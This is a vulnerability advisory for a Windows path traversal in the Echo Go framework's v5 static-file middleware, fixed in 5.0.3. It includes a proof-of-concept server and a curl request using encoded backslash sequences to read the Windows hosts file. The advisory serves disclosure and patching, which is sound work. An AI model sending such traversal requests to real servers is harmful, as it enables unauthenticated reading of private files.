Echo has a Windows path traversal via backslash in middleware.Static default filesystem

Description

Summary

On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics).
path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting
path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS
which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\,
allowing traversal outside the static root.

Relevant code:
- middleware/static.go (path unescape + path.Clean + currentFS.Open)
- echo.go defaultFS.Openos.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean
+ defaultFS combination reintroduces the Windows backslash traversal.

PoC

Windows only.

Sample code (main.go):
```go
package main

import (
"log"
"net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"

)

func main() {
e := echo.New()

    // Important: use middleware.Static with default filesystem (nil)
    e.Use(middleware.Static("public"))

    e.GET("/healthz", func(c *echo.Context) error {
            return c.String(http.StatusOK, "ok")
    })

    addr := ":1323"
    log.Printf("listening on %s", addr)
    if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
            log.Fatal(err)
    }

}
```
Static file:

public/index.html

(content can be any HTML)

Run:
go run .

Verify:

curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404

Screenshot:
<img width="884" height="689" alt="image" src="https://github.com/user-attachments/assets/acb14d70-2a43-47c1-8927-2f3da491a853" />
<img width="1022" height="162" alt="image" src="https://github.com/user-attachments/assets/f2b92aa2-541e-461d-81a2-8a5907d7a447" />

### Impact
Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if middleware.Static is used with the default
filesystem.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-02-17 18:53:58 UTC
Updated
2026-02-27 22:07:06 UTC
GitHub reviewed
2026-02-17 18:53:58 UTC
NVD published
2026-02-19

EPSS Score

Score Percentile
0.07% 20.23%

CVSS Scores

Base score Version Severity Vector
5.3 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • shblue21 (reporter)
  • aldas (remediation_developer)
  • vishr (remediation_developer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/labstack/echo/v5 >= 5.0.0, < 5.0.3 5.0.3

References

cvelogic Threat Intelligence